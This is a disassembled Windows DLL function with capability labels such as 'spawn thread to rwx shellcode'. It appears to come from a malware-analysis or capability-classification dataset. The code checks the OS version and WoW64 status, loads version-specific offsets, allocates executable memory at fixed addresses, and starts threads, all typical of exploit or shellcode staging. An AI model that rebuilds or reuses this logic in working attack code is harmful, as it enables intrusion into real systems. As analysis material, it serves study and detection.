Function at 0x10002520
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Resume thread
Spawn thread to rwx shellcode
Terminate thread

Disassembly:
sub esp, 0x10
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
mov esi, dword [0x1000d444]
xor ebx, ebx
push 0xc8
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
mov byte [esp + 0x13], bl
call ebp
push str.USER32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
jne 0x10002561
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
push edi
push 0x4a8
push ebx
push 0x1000d520
call sub.ntdll.dll_memset
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add esp, 0xc
push ebx
call edi
mov dword [0x1000d520], eax
lea eax, [esp + 0x13]
push eax
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x1c]
push edx
mov dword [0x1000d524], esi
call fcn.100018d0
test eax, eax
je 0x100026e5
cmp dword [esp + 0x14], 5
jne 0x100025d0
cmp dword [esp + 0x18], 1
jb 0x100025d0
cmp byte [esp + 0x13], 1
mov dword [0x1000d528], ebx
je 0x10002647
mov dword [0x1000d528], 2
jmp 0x10002647
push 0x1000e0a7
call edi
cmp eax, ebx
je 0x10002647
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x40]
cmp eax, 6
movzx ecx, word [ecx + 0x42]
jne 0x10002634
cmp ecx, ebx
jne 0x100025fd
mov dword [0x1000d528], 4
jmp 0x10002647
cmp ecx, 1
jne 0x1000260e
mov dword [0x1000d528], 6
jmp 0x10002647
cmp ecx, 2
jne 0x1000261f
mov dword [0x1000d528], 8
jmp 0x10002647
cmp ecx, 3
jne 0x100027a4
mov dword [0x1000d528], 0xa
jmp 0x10002647
cmp eax, 0xa
jne 0x100027a4
mov dword [0x1000d528], 0xc
lea eax, [esp + 0x1c]
push eax
mov dword [0x1000d52c], ebx
mov dword [0x1000d530], 0x2a
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
je 0x100027a4
cmp dword [esp + 0x1c], ebx
jne 0x100027a4
mov eax, dword [0x1000d528]
mov ecx, dword [eax*4 + 0x1000d0d8]
lea edx, [ecx + 4]
mov dword [0x1000d538], ecx
mov ecx, dword [eax*4 + 0x1000d0a0]
mov dword [0x1000d534], edx
mov edx, dword [eax*4 + 0x1000d148]
mov dword [0x1000d540], ecx
mov ecx, dword [eax*4 + 0x1000d110]
mov dword [0x1000d544], ecx
mov dword [0x1000d560], ecx
mov ecx, dword [eax*4 + 0x1000d180]
mov dword [0x1000d550], edx
mov edx, dword [eax*4 + 0x1000d1b8]
mov dword [0x1000d554], ecx
mov dword [0x1000d558], edx
mov dword [0x1000d9c4], ebx
jmp 0x100026ea
mov eax, dword [0x1000d528]
cmp eax, 0xc
jae 0x1000271b
cmp eax, 8
mov ecx, dword [eax*4 + 0x1000d1f0]
mov dword [0x1000d548], ecx
je 0x10002710
cmp eax, 0xa
je 0x10002710
lea eax, [ecx - 1]
mov dword [0x1000d54c], eax
jmp 0x10002755
lea edx, [ecx + 1]
mov dword [0x1000d54c], edx
jmp 0x10002755
xor esi, esi
lea ecx, [ecx]
lea ecx, [esi + 0x62]
call fcn.10001930
cmp eax, ebx
mov dword [0x1000d54c], eax
jne 0x10002741
add esi, 1
cmp esi, 5
jb 0x10002720
mov ecx, dword [0x1000d548]
jmp 0x10002755
cmp dword [0x1000d52c], ebx
lea ecx, [eax + 1]
jne 0x1000274f
lea ecx, [eax - 1]
mov dword [0x1000d548], ecx
cmp ecx, ebx
je 0x100027a4
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x40
push 0x3000
push 0x1000
push 0x20000
call esi
cmp eax, 0x20000
je 0x100027ae
push 0x40
push 0x3000
push 0x1000
mov edi, 1
add dword [0x1000d560], edi
push 0x2000000
call esi
cmp eax, 0x2000000
je 0x100027ae
add dword [0x1000d560], edi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret
cmp eax, ebx
je 0x100027a4
mov dword [0x1000d55c], eax
add eax, 0xe0
push 0x1000d9a8
mov dword [0x1000d564], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push ebx
push 4
push ebx
push 0x100023e0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, ebx
mov dword [0x1000d56c], eax
je 0x100027a4
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp dword [0x1000d9c4], ebx
jne 0x10002817
mov esi, 0xa
lea ebx, [ebx]
cmp dword [0x1000d9c0], esi
ja 0x10002817
push 0x1f4
call ebp
cmp dword [0x1000d9c4], ebx
je 0x10002800
mov eax, dword [0x1000d58c]
push eax
call dword [sym.imp.USER32.dll_DestroyWindow]
mov ecx, dword [0x1000d570]
mov esi, dword [sym.imp.KERNEL32.dll_TerminateThread]
push ebx
push ecx
call esi
mov edx, dword [0x1000d56c]
push ebx
push edx
call esi
push 0x1000d9a8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [0x1000d9c4]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret